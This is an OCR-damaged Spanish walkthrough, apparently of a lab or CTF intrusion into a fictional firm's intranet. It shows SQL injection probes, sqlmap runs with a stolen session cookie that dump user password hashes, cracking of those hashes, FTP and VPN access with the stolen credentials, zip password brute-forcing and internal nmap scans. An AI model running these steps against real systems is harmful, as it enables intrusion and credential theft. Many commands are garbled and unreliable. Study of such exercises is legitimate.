| [ SEGURIDAD LIMITE [+]

SEGURIDAD LIMITE

Entrar como Pedro

Por Favor espere misntras lo transferimos...

[ o haga click aqui si no desea esperar ]

Una vez dentro de la intranet vemos que pedro tiar@rreo electrénico sin leer, accedemos a él a
ver los datos que contiene.

De: | Administradar

Fecha: | Jume 11 2011 23:36:36

Aszunto: | Para conectarte en remoto

Pedro,

Te he dejado los certificados para conectarte a la WPN en el ftp,

Recuerda entrar con tu usuario v contrasena del web

' no uses trucos raros del or 1 = 1 que te conozco!
alli no te wa a funcionar asi que acuerdate de tu clave

Admin

Responder || Guardar |[ Mo Leer || Borrar

Bien, parece que si utilizamos las credencialgsedeo para acceder al servidor FTP de la
compafiia encontraremos alli los certificados.

En este momento hemos accedido al portal con arigsBedro, pero no conocemos su contrasefia.

Como ahora tenemos acceso a nuevas partes déllpetaremos si hay algun punto vulnerable
donde poder obtener las credenciales.
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Al tratarse de un Portal ya bastante antiguo n@ihad en que lo mas probable es que se pueda
realizar algun tipo de ataque de SQL.

5. Obteniendo la contrasenia:

Navegando por el portal vemos que existe una p&hit@a//192.168.1.34/members.phgonde se
observa un listado de los usuarios de la intrdfsth pagina contiene una funcionalidad para buscar
usuarios segun su inicial. Comprobaremos inyectadd@o sql si el pardmetro que se utiliza para
saber la inicial a buscar es vulnerable o no.

Para ello comprobamos que inyectando cddigo sgafmo a dar una respuesta verdadera o falsa el
sistema se comporta de manera distinta. Las inyeesirealizadas son:

http://192.168.1.34/members.php?sortby=A%" and '1'="'
http://192.168.1.34/members.php?sortby=A%" and '2'="'

Como el comportamiento es distinto concluimos dumeametro es vulnerable. Utilizaremos la
herramienta sqlmap para automatizar el ataque.

6. Uso de sglmap

Como el acceso a la parte de miembros se encuestrengida deberemos indicarle a sqlmap la
cookie de sesion de Pedro y manteniendo el usBadoo con una sesion iniciada, para ello
podemos utilizar el Proxy Webscarab y capturaptzie:

Intercept requests : [v] Intercept responses: [ |

| Parsed | Raw

Method URL Version
[GET | [nittnr192 188.1 34:80/members pha Ps orhy=A% %27 %20and %20%27 1% 27=%272% 27~ %27 | [HTPra || Transform
\

Header | Value

Host [192.169.1.34

User-Agent iM_U_z_HIaIE.U (Windows; U, Windows NT 5.1, es-ES; re1.9.2.17) Gecko/20110420 Firefox3.6.17
_AML__IIemem\,app\lcalluﬂﬂkmm\+xmI‘appI\catlunh(ml,u:U.El‘*r*‘u:U.B

Accept-Lan  |es-8s,e8.0=08 en-us;g=05eng=03
AcceptEnc . gzip deflate
Accept-Cha...[IS0-8855-1,utf-8,9=0.7 *u4=0.7 Insert
Keep-Alive 115

Prog-Conn, kesp-alive

Cookie ffusion_visited=yes; fusion_user=2 0c3Bdbecedd!173deTei07 2ada1 3420a; fusion_lastisit=1307481717 |
[Cache-Can_maxage=1

Delete

T
|/Hex|
Position [0 1]2]af4[s]s[7[e]e[alB[c[D]E[F] String

Accept changes I Cancel changes Abort request ‘ | Cancel ALL intercepts

Ahora pasamos la cookie al programa sqlmap condnpetro para que sus peticiones puedan
acceder a la pagina members.php.

C:\Python27\python.exe c:\sqlmap\sqglmap.py --coeKiasion_visited=yes;

fusion_user=2.0c38dbcce341173de7ef072ad913429a; f
usion_lastvisit=1307991717" --url="HTTP://192.168.34:80/members.php?sortby=A"
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La salida del comando nos especifica que el paréarestinyectable, lo usaremos para realizar una
extraccion de la Base de Datos.

NDocuments and Settings“SergioXC:\Python2python.exe c:~sglmap“sglmap.py —cookie="fusion_vi
wizion_lastuisit=13079291717" —url="http:- 7192 _168_1.34:88/mnembers .php?zorthy=A" ——current—-db

sqglmap/B.? — automatic 8QL injection and database takeover tool
http://sglmap.sourceforge .net

starting at: 21:37:59

:37:591 [INFO] using ’'c: \oqlmap\uutput\192 168.1.34\session’ as session file
=37:591 [INFO] 1egum1ng injection data from session file
=37:591 [INFO] resuming back—end DBMES ‘nmysgl 5.8° from session file
:37:591 [INF0O] testing connection to the target url
identified the following injection points with a total of @ HITP<(s) requests:

H
»: sorthy
Type: error—hased
Title: MySQL >= 5.8 AND error—hased — WHERE or HAUING clause
Payload: sortby=A' AND (SELECT 8927 FROMC(SELECT COUNT<{=).CONCAT{CHARCS8.1081.1680,.184, 58>, (SE]]
134 L8>, FLOOR(RHND(B)*2))X FROM information_schema.tahles GROUP BY x>a> AND *IDUs’='IDUs

21:37:591 L[INFO1 the hack—end DBMS is HMySqL
peb server operating system: Linux Ubuntu 18.18 (Maverick Meerkat?
peh application technology: PHP 5.3.3, fApache 2.2_16

21 §Z 52! E!HE?] fetchlng current datahaoe

213755 LInro] 1|:|.1 TEUER- TEqur J.l.lr.ll.l limite
urrent database: 'seguridad_limite’

21:37:591 L[INF0] Fetched data logged to text files under 'c:ssglmapsoutput~192.168.1.34°

Mediante el uso de ciertos comandos de sgimap eavemeos la base de datos. Primero
comprobamos cual es el nombre de la Base de d&tdisumte

C:\Python27\python.exe c:\sglmap\sglmap.py --coeKieision_visited=yes;
fusion_user=2.0c38dbcce341173de7ef072ad913429a; f

usion_lastvisit=1307991717" --url="HTTP://192.168.34:80/members.php?sortby=A" —current-
db

21:37:521 [INFO]1 the back-end DBMS is MySQL

peh zerver operating system: Linux Ubuntu 18.18 (Maverick Meerkat?
peh application technology: PHP 5.3.3. Apache 2.2.16

ack—end DBEMS: MySQL 5.0

21 3? 59] [INFO] fetchlng current datahaue

GJ.-Jf D?J I.l.“l."UJ I‘HLI‘LHUHU.- oﬂHl.ll‘J.l.l-r.ll.l. 11I'I'I1te

urrent databhase: ‘seguridad_limite*

21:37:521 [INF0] Fetched data logged to text files under ‘c:isglmap output192_168.1.34°

Como podemos observar la Base de Datasen la queja@uestro programa se llama
seguridad_limite.

Consultaremos cuales son sus tablas:
C:\Python27\python.exe c:\sglmap\sglmap.py --coeKiesion_visited=yes;

fusion_user=2.0c38dbcce341173de7ef072ad913429a; f
usion_lastvisit=1307991717" --url="HTTP://192.168.34:80/members.php?sortby=A”" --tables
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36 tables]

fusion_admin
fusion_article_cats
fusion_articles
fusion_blacklist
fusion_comments
fusion_custon_pages
fuszion_download_cats
fusion_downloads
fuzion_fag cats
fusion_fags
fusion_forum_attachments
fusion_forums
fusion_infusions
fuzion_messages
fuszion_messages_options
fusion_new_users
fusion_news
fusion_news_cats
fusion_online
fuzion_panels
fuszion_photo_albums
fuzion_photos
fuzion_poll votes
fusion_polls
fuzion_posts
fusion_ratings
fusion_settings
fusion_shouthox
fusion_site_links
fusion_submissions
fl.“ threads
SET—FIoUPS
{-‘us ion_users
l.l.l."}l..ull_\'l.'ul.lc
fuszion_wehlink_cats
fusion_weblinks

|
[ ———— Y

Enseguida vemos una tabla que podria conteneatos due buscamdsision_usershacemos una
consulta a la base de datos para comprobarlo

C:\Python27\python.exe c:\sglmap\sglmap.py --coeKiesion_visited=yes;
fusion_user=2.0c38dbcce341173de7ef072ad913429a; f

usion_lastvisit=1307991717" --url="HTTP://192.168.34:80/members.php?sortby=A" --sql-
guery” select user_name, user_password from fusion_users”

[21:44:55]1 [INFO] the back—end DBMS is MySQL
pweh server operating system: Linux Ubuntu 18.18 (Maverick HMeerkat?
peh application technology: PHP 5.3.3, Apache 2.2.16
hack—end DBMS: MySQL 5.8
o you want to retrieve the SQL statement output? [Y. n.sal
[21:44:58]1 L[INFO] fetching SQL SELECT statement guery output: ’‘select user_name. user_password from fusion_users’
[21:44:58]1 [INFO]1 read from file ’‘c:“sglmap“output~192.168.1.34%session’ = 2
[21:44:58]1 [INFO] the SQL gquery used returns 2 entries
[21:44:581 [INFO1 read from file ‘c:\Sqlmap\output\l?Z.163.1.34\3&331on Pedro

[21:44:58]1 L[INFO] vead from file ’‘c:ssqglmaproutputs192.168.1.34 s ion’: Bc38dbhcce341173de?efB72ad?1342%a
[21:44:58]1 [INFO]1 read from file H °q1map\output\192 168.1.34%2 Administrador
[INFO] Pead from file i = eebbd?99357aaBalad4ed3eec2bafbde

[#] Administrador. eeSSd?9935?aaBalad4ed3eec2haf5de
[21:44:581 [INFO] Fetched data logged to text files under ‘c:isglmaproutput~192.168.1.34°
[#] shutting down at: 21:44:58

Efectivamente obtenemos las contrasefias pero sergnan codificadas con Md5. No perdemos la
esperanza y miramos si hay alguna RainbowTablegpienga la contrasefia codificada de Pedro
“0c38dbcce341173de7ef072ad913429a”
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| '] SEGLRIDAD LIMITE 2 0c38dbece341173deTef072ad91... [ | -

Web Images ‘Videos Maps MNews Shopping Gmail  more -

GO j(g Ie Oc38dbooe341173de7ef07 2ad9134 202 Search
3 resutts (013 seconds) Aclvanced search
23 Everything » 70376 - Requested MDA Hash queue
@ Images 25 Apr 2011 ... Added. Mon 25th Apr 2011 11:17 am, Hash
) d 0c3Bdbece341173de7 efd72ad913429a, Plain: cacahue [Added: Waon 25th Apr 2011 11:18
B videos am, Hash. ...
= vy, mndSthis. comflist. php?page=703768key=1. city... - Cached
= News

ydecrypt.com | 250 000 000 Hash MDS, SHAT . Q - [ Translate this page |
0c38dbece341173de7 ef072ad91342%9a cacahue 0c387 cel b7 302118977 d56f421b890h387
¥ More cdreaper Dc355c747 d617 464 1dB554b6Ece1 1eed cfyw ...

wdecrypt. comigoogle-rd5-0c38 - Cached

Shopping

Show search tools Howr to spell Cacahue
Length, 7. Wocals, cacahue. Consonants, cacahue. MDA,
0c38dbece341173deT ef072ad913429a. SHAT,
a3bd4Ba1365ed9404 00204047 0856055082541 ...
tellspell.com/ethnologue/cacahue/B383/ - Cached

in order to show vou the most ralsvant results, we have omitted some eniries vary similar to the 3
already displayed.
ifyou like, vou can repeal the search with the omitied resulis included.

Hemos tenido suerte, Pedro eligio la contraseaaghué. Con esta contrasefia podemos acceder
al Servidor FTP.

7. Accediendo al Servidor FTP

Una vez que tenemos las credenciales basta contaomas al Servidor FTP de la direccién
192.168.1.34o0n las credenciales de usuario que hemos usuRedto:cacahue

root@bt:"# ftp 192.168.1.34

omnected to 192.168.1.34.

220 Sequridad Limite FTP corporativo

ame (192.168.1.34:root): Pedro

331 Password required for Pedro
Password:
230 fAmonymous access granted, restrictions apply
Remote system type is UNIX.

zing binary node to transfer files.

200 PORT command successful

150 Opening BINARY mode data commection for file list

ru-r——r-— 1 gestor =udo 6750 Jun 12 03:00 certificado.zip
226 Transfer complete

Ftp> get certificado.zip

local: certificado.zip remote: certificado.zip

200 PORT command successful

150 Opening BINARY mode data commection for|certificado.zip| (6750 bytes)
226 Transfer complete

6750 bytes received in 0.03 secs (219.7 kBrs)

221 Goodbye.
root@bt " _

Nos fijamos en que los certificados se encuentigpodibles en formato .zip los descargamos y
procedemos a descompactarlos.

root@ht:"# unzip certificado.zip
rchive: certificado.zip
creating: clientel.

[certificado.zip] clientelrsclient.conf| password:
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Cuando intentamos extraer el contenido del fichEppobservamos que se encuentra protegido con
contrasefa. Probamos con la misma con la que hatoedido al Servidor FTP pero sin suerte.

No nos queda mas remedio que intentar encontcani@asefia mediante técnicas de fuerza bruta.

Con un programa externo y tras un largo tiemponddisis comprobamos que la contrasefa es
“Be@Trl1z”

Descompactamos nuevamente el fichero con losicadids proporcionando la contrasefa.
Efectivamente obtenemos los certificados, comprabédms ficheros de configuracién deducimos
gue el sistema remoto que usa la empresa Seguuiitité esta basado en la herramienta
OpenVPN.

8 Intentamos conectarnos al sistema remoto

Nos conectamos al sistema remoto a través detelapenvpn

root@bt:"# unzip certificado.zip
Archive: certificado.zip
creating: clientel/
[certificado.zip] clientelr client.conf password:
inflating: clientelr client.conf
inflating: clientel clientel.csr
inflating: clientel- clientel.key

inflating: clientelsclientel.crt
inflating: clientelsca.crt
root@bt:"# 1s
ertificado.zip
root@bt: "# cd cliewieir

# 1s
a.crt client.conf clientel.crt clientel.csr clientel.key
# jopenvpn client.conf

Y podemos comprobar el tinel VPN establecido entestra maquina y RED INTERNA de
Seguridad Limite.

# ifconf ig
Link encap:Ethernet HUWaddr 08:00:27:11:67:6b
inet addr:192.168.1.36 Bcast:192.168.1.255 Mask:255.255.255.0
inetb addr: feB0::a00:27ff:fell:676bs64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:2529 errors:0 dropped:0 overruns:0 frame:0
TX packets:1744 errors:0 dropped:0 overruns:@ carrier:0
collisions:0 txgueuelen:1000
BX bytes:228670 (228.6 KB) TX bytes:101448 (101.4 KB)

Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

inetb6 addr: ::1-128 Scope:Host

UP LOOPBACK RUNNING MTU:16436 Metric:1

RX packets:90 errors:0 dropped:0 overruns:0 frame:0
TX packets:90 errors:0 dropped:Q overruns:Q carrier:0
collisions:0 txgueuelen:0

BX bytes:6465 (6.4 KB) TX bytes:6465 (6.4 KB)

Link encap:UNSPEC HUaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00
inet addr:10.8.0.6 | P-t-P:10.8.0.5 Mask:255.255.255.255

UP POINTOPOINT RUNMING HOARF MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:® overruns:Q frame:0

T¥ packets:0 errors:0 dropped:0 overruns:@ carrier:@
collisions:0 txgueuelen:100

BX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

oot@bt : # route —N

ernel IP routing table

Destination Gateway Genmask Flags Metric Ref Use Iface
£595.255.255.255 UH 1] 0 tund
£95.255.255.0 UG 1] 0 tund
£55.255.255.0 UG o 0 tund
£95.255.255.0 U 0 etho
0.0.0.0 uG 0 etho
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Una vez dentro de la red local procedemos a redgatoamacion de la red como hemos hecho al
principio del ataque pero ahora a través del taregldo

#t nmap —=n 192.168.56.0-24

zcan report for 192.168.56.1

1 up O0.00/48 latencyl.

scan report for 192.168.56.35

iz up (0.0032= latencyl.

done: 256 IP addresses (2 hosts up) scammed in 43.88 seconds
# nmap 192.168.56.35

map =can report for [192.168.56.35
ost iz wup (0.018s latencyl.
: 997 closed ports
STATE SERVICE
open =sh
open telnet
my=gq1

: 1 IP address (1 host up) scammed in 0.81 seconds

Observamos que en la red interna existe una maquiteared interna que tiene activos los
Servicios SSH, Telnet y una Instancia de la Badeates Mysql para conectarse a ella.
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